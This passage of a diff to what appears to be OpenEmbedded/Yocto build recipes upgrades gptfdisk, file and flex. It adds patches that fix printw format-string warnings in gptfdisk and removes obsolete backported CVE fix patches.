+- printw("free space");
++ printw("%s","free space");
+ } else { // space holds a partition
+ move(lineNum, 3);
+ printw("%d", space->partNum + 1);
+ move(lineNum, 12);
+- printw(BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
++ printw("%s",BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
+ move(lineNum, 24);
+- printw(space->origPart->GetTypeName().c_str());
++ printw("%s",space->origPart->GetTypeName().c_str());
+ move(lineNum, 50);
+ #ifdef USE_UTF16
+ space->origPart->GetDescription().extract(0, 39, temp, 39);
+- printw(temp);
++ printw("%s",temp);
+ #else
+- printw(space->origPart->GetDescription().c_str());
++ printw("%s",space->origPart->GetDescription().c_str());
+ #endif
+ } // if/else
+ } // if
+@@ -267,10 +267,10 @@ int GPTDataCurses::DisplayParts(int selected) {
+
+ move(lineNum++, 0);
+ theLine = "Part. # Size Partition Type Partition Name";
+- printw(theLine.c_str());
++ printw("%s",theLine.c_str());
+ move(lineNum++, 0);
+ theLine = "----------------------------------------------------------------";
+- printw(theLine.c_str());
++ printw("%s",theLine.c_str());
+ numToShow = LINES - RESERVED_TOP - RESERVED_BOTTOM;
+ pageNum = selected / numToShow;
+ for (i = pageNum * numToShow; i <= (pageNum + 1) * numToShow - 1; i++) {
+@@ -284,7 +284,7 @@ int GPTDataCurses::DisplayParts(int selected) {
+ } else {
+ currentSpace = ShowSpace(i, lineNum);
+ move(lineNum++, 0);
+- printw(">");
++ printw("%s",">");
+ }
+ DisplayOptions(i);
+ retval = selected;
+@@ -632,7 +632,7 @@ void GPTDataCurses::DisplayOptions(char selectedKey) {
+ } // if/else
+ } // for
+ move(LINES - 1, (COLS - optionDesc.length()) / 2);
+- printw(optionDesc.c_str());
++ printw("%s",optionDesc.c_str());
+ currentKey = selectedKey;
+ } // if
+ } // GPTDataCurses::DisplayOptions()
+@@ -744,11 +744,11 @@ void GPTDataCurses::DrawMenu(void) {
+
+ clear();
+ move(0, (COLS - title.length()) / 2);
+- printw(title.c_str());
++ printw("%s",title.c_str());
+ move(2, (COLS - drive.length()) / 2);
+- printw(drive.c_str());
++ printw("%s",drive.c_str());
+ move(3, (COLS - size.str().length()) / 2);
+- printw(size.str().c_str());
++ printw("%s",size.str().c_str());
+ DisplayParts(currentSpaceNum);
+ } // DrawMenu
+
+@@ -798,7 +798,7 @@ void PromptToContinue(void) {
+ void Report(string theText) {
+ clear();
+ move(0, 0);
+- printw(theText.c_str());
++ printw("%s", theText.c_str());
+ move(LINES - 2, (COLS - 29) / 2);
+ printw("Press any key to continue....");
+ cbreak();
diff --git a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
new file mode 100644
index 0000000000..266afbfa11
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
@@ -0,0 +1,28 @@
+From 6bc6e867c5b3a774c0d7819ee5a3d2885e97caa9 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 30 Mar 2020 17:11:19 +0200
+Subject: [PATCH] gptcurses: correctly include curses.h
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ gptcurses.cc | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/gptcurses.cc b/gptcurses.cc
+index 71aa734..4ebfde1 100644
+--- a/gptcurses.cc
++++ b/gptcurses.cc
+@@ -23,11 +23,7 @@
+ #include <iostream>
+ #include <string>
+ #include <sstream>
+-#if defined (__APPLE__) || (__FreeBSD__)
+ #include <ncurses.h>
+-#else
+-#include <ncursesw/ncurses.h>
+-#endif
+ #include "gptcurses.h"
+ #include "support.h"
+
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.4.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.4.bb
deleted file mode 100644
index b043c96543..0000000000
--- a/meta/recipes-devtools/fdisk/gptfdisk_1.0.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Utility for modifying GPT disk partitioning"
-DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-
-DEPENDS = "util-linux"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz"
-SRC_URI[md5sum] = "5ecc3c44913bb6b53d3708d1ac7ac295"
-SRC_URI[sha256sum] = "b663391a6876f19a3cd901d862423a16e2b5ceaa2f4a3b9bb681e64b9c7ba78d"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
-UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
-
-EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
-
-PACKAGECONFIG ??= "ncurses popt"
-PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
-PACKAGECONFIG[popt] = "sgdisk,,popt"
-
-do_install() {
- install -d ${D}${sbindir}
- for f in cgdisk sgdisk; do
- if [ -x $f ]; then
- install -m 0755 $f ${D}${sbindir}
- fi
- done
- install -m 0755 gdisk ${D}${sbindir}
- install -m 0755 fixparts ${D}${sbindir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb
new file mode 100644
index 0000000000..67b83b6ead
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Utility for modifying GPT disk partitioning"
+DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
+HOMEPAGE = "https://sourceforge.net/projects/gptfdisk/"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+DEPENDS = "util-linux"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz \
+ file://0001-gptcurses-correctly-include-curses.h.patch \
+ file://0001-gptcurses-correct-ncurses-6.3-errors.patch \
+ "
+SRC_URI[sha256sum] = "95d19856f004dabc4b8c342b2612e8d0a9eebdd52004297188369f152e9dc6df"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
+UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
+
+EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
+
+PACKAGECONFIG ??= "ncurses popt"
+PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
+PACKAGECONFIG[popt] = "sgdisk,,popt"
+
+do_install() {
+ install -d ${D}${sbindir}
+ for f in cgdisk sgdisk; do
+ if [ -x $f ]; then
+ install -m 0755 $f ${D}${sbindir}
+ fi
+ done
+ install -m 0755 gdisk ${D}${sbindir}
+ install -m 0755 fixparts ${D}${sbindir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/file/file/CVE-2019-18218.patch b/meta/recipes-devtools/file/file/CVE-2019-18218.patch
deleted file mode 100644
index 3d02c5ad4b..0000000000
--- a/meta/recipes-devtools/file/file/CVE-2019-18218.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-cdf_read_property_info in cdf.c in file through 5.37 does not restrict the
-number of CDF_VECTOR elements, which allows a heap-based buffer overflow (4-byte
-out-of-bounds write).
-
-CVE: CVE-2019-18218
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 46a8443f76cec4b41ec736eca396984c74664f84 Mon Sep 17 00:00:00 2001
-From: Christos Zoulas <christos@zoulas.com>
-Date: Mon, 26 Aug 2019 14:31:39 +0000
-Subject: [PATCH] Limit the number of elements in a vector (found by oss-fuzz)
-
----
- src/cdf.c | 9 ++++-----
- src/cdf.h | 1 +
- 2 files changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/src/cdf.c b/src/cdf.c
-index 9d6396742..bb81d6374 100644
---- a/src/cdf.c
-+++ b/src/cdf.c
-@@ -1016,8 +1016,9 @@ cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h,
- goto out;
- }
- nelements = CDF_GETUINT32(q, 1);
-- if (nelements == 0) {
-- DPRINTF(("CDF_VECTOR with nelements == 0\n"));
-+ if (nelements > CDF_ELEMENT_LIMIT || nelements == 0) {
-+ DPRINTF(("CDF_VECTOR with nelements == %"
-+ SIZE_T_FORMAT "u\n", nelements));
- goto out;
- }
- slen = 2;
-@@ -1060,8 +1061,6 @@ cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h,
- goto out;
- inp += nelem;
- }
-- DPRINTF(("nelements = %" SIZE_T_FORMAT "u\n",
-- nelements));
- for (j = 0; j < nelements && i < sh.sh_properties;
- j++, i++)
- {
-diff --git a/src/cdf.h b/src/cdf.h
-index 2f7e554b7..05056668f 100644
---- a/src/cdf.h
-+++ b/src/cdf.h
-@@ -48,6 +48,7 @@
- typedef int32_t cdf_secid_t;
-
- #define CDF_LOOP_LIMIT 10000
-+#define CDF_ELEMENT_LIMIT 100000
-
- #define CDF_SECID_NULL 0
- #define CDF_SECID_FREE -1
diff --git a/meta/recipes-devtools/file/file_5.37.bb b/meta/recipes-devtools/file/file_5.37.bb
deleted file mode 100644
index a96ccc0d39..0000000000
--- a/meta/recipes-devtools/file/file_5.37.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "File classification tool"
-DESCRIPTION = "File attempts to classify files depending \
-on their contents and prints a description if a match is found."
-HOMEPAGE = "http://www.darwinsys.com/file/"
-SECTION = "console/utils"
-
-# two clause BSD
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
-
-DEPENDS = "zlib file-replacement-native"
-DEPENDS_class-native = "zlib-native"
-
-SRC_URI = "git://github.com/file/file.git \
- file://CVE-2019-18218.patch"
-
-SRCREV = "a0d5b0e4e9f97d74a9911e95cedd579852e25398"
-S = "${WORKDIR}/git"
-
-inherit autotools update-alternatives
-
-EXTRA_OECONF += "--disable-libseccomp"
-
-ALTERNATIVE_${PN} = "file"
-ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
-
-EXTRA_OEMAKE_append_class-target = "-e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-EXTRA_OEMAKE_append_class-nativesdk = "-e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-
-FILES_${PN} += "${datadir}/misc/*.mgc"
-
-do_compile_append_class-native() {
- oe_runmake check
-}
-
-do_install_append_class-native() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-do_install_append_class-nativesdk() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-BBCLASSEXTEND = "native nativesdk"
-PROVIDES_append_class-native = " file-replacement-native"
-# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
-# depends on file-replacement-native.
-bindir_append_class-native = "/file-native"
diff --git a/meta/recipes-devtools/file/file_5.41.bb b/meta/recipes-devtools/file/file_5.41.bb
new file mode 100644
index 0000000000..653887e97a
--- /dev/null
+++ b/meta/recipes-devtools/file/file_5.41.bb
@@ -0,0 +1,54 @@
+SUMMARY = "File classification tool"
+DESCRIPTION = "File attempts to classify files depending \
+on their contents and prints a description if a match is found."
+HOMEPAGE = "http://www.darwinsys.com/file/"
+SECTION = "console/utils"
+
+# two clause BSD
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
+
+DEPENDS = "file-replacement-native"
+DEPENDS:class-native = "bzip2-replacement-native"
+
+SRC_URI = "git://github.com/file/file.git;branch=master;protocol=https"
+
+SRCREV = "504206e53a89fd6eed71aeaf878aa3512418eab1"
+S = "${WORKDIR}/git"
+
+inherit autotools update-alternatives
+
+PACKAGECONFIG ??= "bz2 lzma zlib"
+PACKAGECONFIG[bz2] = "--enable-bzlib, --disable-bzlib, bzip2"
+PACKAGECONFIG[lzma] = "--enable-xzlib, --disable-xzlib, xz"
+PACKAGECONFIG[zlib] = "--enable-zlib, --disable-zlib, zlib"
+
+EXTRA_OECONF += "--disable-libseccomp"
+
+ALTERNATIVE:${PN} = "file"
+ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
+
+EXTRA_OEMAKE:append:class-target = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+EXTRA_OEMAKE:append:class-nativesdk = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+
+FILES:${PN} += "${datadir}/misc/*.mgc"
+
+do_compile:append:class-native() {
+ oe_runmake check
+}
+
+do_install:append:class-native() {
+ create_cmdline_wrapper ${D}/${bindir}/file \
+ --magic-file ${datadir}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_cmdline_wrapper ${D}/${bindir}/file \
+ --magic-file ${datadir}/misc/magic.mgc
+}
+
+BBCLASSEXTEND = "native nativesdk"
+PROVIDES:append:class-native = " file-replacement-native"
+# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
+# depends on file-replacement-native.
+bindir:append:class-native = "/file-native"
diff --git a/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
new file mode 100644
index 0000000000..c8202b6bd5
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
@@ -0,0 +1,32 @@
+From 440f3f55739468cd26e22f31871eca8cbbd53294 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Wed, 6 Jan 2021 06:12:14 -0800
+Subject: [PATCH] Emit no #line directives if gen_line_dirs is false
+
+If we set --noline we should not print line directives.
+But setting --noline means gen_line_dirs is false.
+
+Upstream-Status: Submitted
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+---
+ src/buf.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/buf.c b/src/buf.c
+index 185083c..4439e28 100644
+--- a/src/buf.c
++++ b/src/buf.c
+@@ -95,8 +95,8 @@ struct Buf *buf_linedir (struct Buf *buf, const char* filename, int lineno)
+ const char *src;
+ size_t tsz;
+
+- if (gen_line_dirs)
+- return buf;
++ if (!gen_line_dirs)
++ return buf;
+
+ tsz = strlen("#line \"\"\n") + /* constant parts */
+ 2 * strlen (filename) + /* filename with possibly all backslashes escaped */
+--
+2.26.2.Cisco
+
diff --git a/meta/recipes-devtools/flex/flex/0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch b/meta/recipes-devtools/flex/flex/0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch
new file mode 100644
index 0000000000..60bf7ce8cf
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex/0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch
@@ -0,0 +1,32 @@
+From ed1f7e9de0d6a1d5a9e581e02a63593d22cf1e52 Mon Sep 17 00:00:00 2001
+From: Explorer09 <explorer09@gmail.com>
+Date: Mon, 4 Sep 2017 10:47:33 +0800
+Subject: [PATCH] build: AC_USE_SYSTEM_EXTENSIONS in configure.ac.
+
+This would, e.g. define _GNU_SOURCE in config.h, enabling the
+reallocarray() prototype in glibc 2.26+ on Linux systems with that
+version of glibc.
+
+Fixes #241.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ configure.ac | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 55e774b..c879fe1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -25,8 +25,10 @@
+ # autoconf requirements and initialization
+
+ AC_INIT([the fast lexical analyser generator],[2.6.4],[flex-help@lists.sourceforge.net],[flex])
++AC_PREREQ([2.60])
+ AC_CONFIG_SRCDIR([src/scan.l])
+ AC_CONFIG_AUX_DIR([build-aux])
++AC_USE_SYSTEM_EXTENSIONS
+ LT_INIT
+ AM_INIT_AUTOMAKE([1.11.3 -Wno-portability foreign check-news std-options dist-lzip parallel-tests subdir-objects])
+ AC_CONFIG_HEADER([src/config.h])
diff --git a/meta/recipes-devtools/flex/flex/0002-avoid-c-comments-in-c-code-fails-with-gcc-6.patch b/meta/recipes-devtools/flex/flex/0002-avoid-c-comments-in-c-code-fails-with-gcc-6.patch
deleted file mode 100644
index 438ca5f527..0000000000
--- a/meta/recipes-devtools/flex/flex/0002-avoid-c-comments-in-c-code-fails-with-gcc-6.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From 7072befe1397af4eb01c3ff7edf99f0cd5076089 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Tue, 30 Aug 2016 14:25:32 +0200
-Subject: [PATCH] avoid c++ comments in c-code - fails with gcc-6
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-fixes:
-
-| error: C++ style comments are not allowed in ISO C90
-| num_to_alloc = 1; // After all that talk, this was set to 1 anyways...
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- src/flex.skl | 2 +-
- src/scan.c | 2 +-
- src/skel.c | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/flex.skl b/src/flex.skl
-index 73a0b9e..ed71627 100644
---- a/src/flex.skl
-+++ b/src/flex.skl
-@@ -2350,7 +2350,7 @@ void yyFlexLexer::yyensure_buffer_stack(void)
- * scanner will even need a stack. We use 2 instead of 1 to avoid an
- * immediate realloc on the next call.
- */
-- num_to_alloc = 1; // After all that talk, this was set to 1 anyways...
-+ num_to_alloc = 1; /* After all that talk, this was set to 1 anyways... */
- YY_G(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
- (num_to_alloc * sizeof(struct yy_buffer_state*)
- M4_YY_CALL_LAST_ARG);
-diff --git a/src/scan.c b/src/scan.c
-index b55df2d..f1dce75 100644
---- a/src/scan.c
-+++ b/src/scan.c
-@@ -4672,7 +4672,7 @@ static void yyensure_buffer_stack (void)
- * scanner will even need a stack. We use 2 instead of 1 to avoid an
- * immediate realloc on the next call.
- */
-- num_to_alloc = 1; // After all that talk, this was set to 1 anyways...
-+ num_to_alloc = 1; /* After all that talk, this was set to 1 anyways...*/
- (yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
- (num_to_alloc * sizeof(struct yy_buffer_state*)
- );
-diff --git a/src/skel.c b/src/skel.c
-index ef657d3..26cc889 100644
---- a/src/skel.c
-+++ b/src/skel.c
-@@ -2561,7 +2561,7 @@ const char *skel[] = {
- " * scanner will even need a stack. We use 2 instead of 1 to avoid an",
- " * immediate realloc on the next call.",
- " */",
-- " num_to_alloc = 1; // After all that talk, this was set to 1 anyways...",
-+ " num_to_alloc = 1; /* After all that talk, this was set to 1 anyways... */",
- " YY_G(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc",
- " (num_to_alloc * sizeof(struct yy_buffer_state*)",
- " M4_YY_CALL_LAST_ARG);",
---
-2.5.5
-
diff --git a/meta/recipes-devtools/flex/flex/CVE-2016-6354.patch b/meta/recipes-devtools/flex/flex/CVE-2016-6354.patch
deleted file mode 100644
index 216ac7ae1c..0000000000
--- a/meta/recipes-devtools/flex/flex/CVE-2016-6354.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 3939eccdff598f47e5b37b05d58bf1b44d3796e7 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 7 Oct 2016 14:15:38 +0300
-Subject: [PATCH] Prevent buffer overflow in yy_get_next_buffer
-
-This is upstream commit a5cbe929ac3255d371e698f62dc256afe7006466
-with some additional backporting to make binutils build again.
-
-Upstream-Status: Backport
-CVE: CVE-2016-6354
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- src/flex.skl | 2 +-
- src/scan.c | 2 +-
- src/skel.c | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/flex.skl b/src/flex.skl
-index ed71627..814d562 100644
---- a/src/flex.skl
-+++ b/src/flex.skl
-@@ -1718,7 +1718,7 @@ int yyFlexLexer::yy_get_next_buffer()
-
- else
- {
-- yy_size_t num_to_read =
-+ int num_to_read =
- YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
-
- while ( num_to_read <= 0 )
-diff --git a/src/scan.c b/src/scan.c
-index f1dce75..1949872 100644
---- a/src/scan.c
-+++ b/src/scan.c
-@@ -4181,7 +4181,7 @@ static int yy_get_next_buffer (void)
-
- else
- {
-- yy_size_t num_to_read =
-+ int num_to_read =
- YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
-
- while ( num_to_read <= 0 )
-diff --git a/src/skel.c b/src/skel.c
-index 26cc889..0344d18 100644
---- a/src/skel.c
-+++ b/src/skel.c
-@@ -1929,7 +1929,7 @@ const char *skel[] = {
- "",
- " else",
- " {",
-- " yy_size_t num_to_read =",
-+ " int num_to_read =",
- " YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;",
- "",
- " while ( num_to_read <= 0 )",
---
-2.1.4
-
diff --git a/meta/recipes-devtools/flex/flex/check-funcs.patch b/meta/recipes-devtools/flex/flex/check-funcs.patch
new file mode 100644
index 0000000000..762275e7f8
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex/check-funcs.patch
@@ -0,0 +1,67 @@
+Subject: build: Move dnl comments out of AC_CHECK_FUNCS
+
+Due to a bug, autoheader (2.69) will treat M4 dnl comments in a quoted
+argument of AC_CHECK_FUNCS as function tokens and generate a lot of
+redundant and useless HAVE_* macros in config.h.in.
+(Examples: HAVE_DNL, HAVE_AVAILABLE_, HAVE_BY)
+
+It seems to be this commit dbb4e94dc7bacbcfd4acef4f085ef752fe1aa03f of
+mine that revealed this autoheader bug, and the affected config.h.in
+had been shipped within flex-2.6.4 release tarball.
+
+I have reported the autoheader bug here:
+<https://lists.gnu.org/archive/html/bug-autoconf/2018-02/msg00005.html>
+
+As a workaround, let's move comments out of AC_CHECK_FUNCS.
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+Signed-off-by: Kang-Che Sung <explorer09@gmail.com>
+Signed-off-by: Zang Ruochen <zangrc.fnst@cn.fujitsu.com>
+---
+ configure.ac | 28 +++++++++++++---------------
+ 1 file changed, 13 insertions(+), 15 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 55e774b..5ea3a93 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -153,21 +153,19 @@ AC_FUNC_REALLOC
+ AS_IF([test "$cross_compiling" = yes],
+ AC_MSG_WARN([result $ac_cv_func_realloc_0_nonnull guessed because of cross compilation]))
+
+-AC_CHECK_FUNCS([dup2 dnl
+-memset dnl
+-regcomp dnl
+-strcasecmp dnl
+-strchr dnl
+-strdup dnl
+-strtol dnl
+-], [], [AC_MSG_ERROR(required library function not found on your system)])
+-
+-# Optional library functions
+-AC_CHECK_FUNCS([dnl
+-pow dnl Used only by "examples/manual/expr"
+-setlocale dnl Needed only if NLS is enabled
+-reallocarray dnl OpenBSD function. We have replacement if not available.
+-])
++dnl Autoheader (<= 2.69) bug: "dnl" comments in a quoted argument of
++dnl AC_CHECK_FUNCS will expand wierdly in config.h.in.
++dnl (https://lists.gnu.org/archive/html/bug-autoconf/2018-02/msg00005.html)
++
++AC_CHECK_FUNCS([dup2 memset regcomp strcasecmp strchr strdup strtol], [],
++ [AC_MSG_ERROR(required library function not found on your system)])
++
++# Optional library functions:
++# pow - Used only by "examples/manual/expr".
++# setlocale - Needed only if NLS is enabled.
++# reallocarr - NetBSD function. Use reallocarray if not available.
++# reallocarray - OpenBSD function. We have replacement if not available.
++AC_CHECK_FUNCS([pow setlocale reallocarr reallocarray])
+
+ AC_CONFIG_FILES(
+ Makefile
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/flex/flex/do_not_create_pdf_doc.patch b/meta/recipes-devtools/flex/flex/do_not_create_pdf_doc.patch
deleted file mode 100644
index 29792efee8..0000000000
--- a/meta/recipes-devtools/flex/flex/do_not_create_pdf_doc.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate (embedded specific)
-
-Signed-off-by: Laurentiu Palcu <laurentiu.palcu@intel.com>
-
-Index: flex-2.6.0/doc/Makefile.am
-===================================================================
---- flex-2.6.0.orig/doc/Makefile.am
-+++ flex-2.6.0/doc/Makefile.am
-@@ -2,7 +2,7 @@ help2man = @HELP2MAN@
-
- info_TEXINFOS = flex.texi
- dist_man_MANS = flex.1
--dist_doc_DATA= flex.pdf
-+EXTRA_DIST= flex.pdf
-
- CLEANFILES = \
- flex.aux \
diff --git a/meta/recipes-devtools/flex/flex/run-ptest b/meta/recipes-devtools/flex/flex/run-ptest
index 19db337900..037301c40f 100755
--- a/meta/recipes-devtools/flex/flex/run-ptest
+++ b/meta/recipes-devtools/flex/flex/run-ptest
@@ -2,4 +2,4 @@
# make would want to rebuild some files with a compiler otherwise :-/
make FLEX=/usr/bin/flex -t check-TESTS || true
-make FLEX=/usr/bin/flex check-TESTS
+make FLEX=/usr/bin/flex abs_builddir=./ check-TESTS
diff --git a/meta/recipes-devtools/flex/flex_2.6.0.bb b/meta/recipes-devtools/flex/flex_2.6.0.bb
deleted file mode 100644
index 9bdd99c59f..0000000000
--- a/meta/recipes-devtools/flex/flex_2.6.0.bb
+++ /dev/null
@@ -1,73 +0,0 @@
-SUMMARY = "Flex (The Fast Lexical Analyzer)"
-DESCRIPTION = "Flex is a fast lexical analyser generator. Flex is a tool for generating programs that recognize \
-lexical patterns in text."
-HOMEPAGE = "http://sourceforge.net/projects/flex/"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-
-DEPENDS = "${@bb.utils.contains('PTEST_ENABLED', '1', 'bison-native flex-native', '', d)}"
-BBCLASSEXTEND = "native nativesdk"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/flex/flex-${PV}.tar.bz2 \
- file://run-ptest \
- file://do_not_create_pdf_doc.patch \
- file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
- file://0002-avoid-c-comments-in-c-code-fails-with-gcc-6.patch \
- file://CVE-2016-6354.patch \
- ${@bb.utils.contains('PTEST_ENABLED', '1', '', 'file://disable-tests.patch', d)} \
- "
-
-SRC_URI[md5sum] = "266270f13c48ed043d95648075084d59"
-SRC_URI[sha256sum] = "24e611ef5a4703a191012f80c1027dc9d12555183ce0ecd46f3636e587e9b8e9"
-
-# Flex has moved to github from 2.6.1 onwards
-UPSTREAM_CHECK_URI = "https://github.com/westes/flex/releases"
-UPSTREAM_CHECK_REGEX = "flex-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools gettext texinfo ptest
-
-M4 = "${bindir}/m4"
-M4_class-native = "${STAGING_BINDIR_NATIVE}/m4"
-EXTRA_OECONF += "ac_cv_path_M4=${M4}"
-EXTRA_OEMAKE += "m4=${STAGING_BINDIR_NATIVE}/m4"
-
-EXTRA_OEMAKE += "${@bb.utils.contains('PTEST_ENABLED', '1', 'FLEX=${STAGING_BINDIR_NATIVE}/flex', '', d)}"
-
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/flex M4=${M4}
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/flex M4=${M4}
-}
-
-PACKAGES =+ "${PN}-libfl"
-
-FILES_${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
-
-RDEPENDS_${PN} += "m4"
-RDEPENDS_${PN}-ptest += "bash gawk make"
-
-do_compile_ptest() {
- oe_runmake -C ${B}/tests -f ${B}/tests/Makefile top_builddir=${B} INCLUDES=-I${S}/src buildtests
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/build-aux/
- cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
- cp -r ${S}/tests/* ${D}${PTEST_PATH}
- cp -r ${B}/tests/* ${D}${PTEST_PATH}
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \-e 's/^Makefile:/_Makefile:/' \
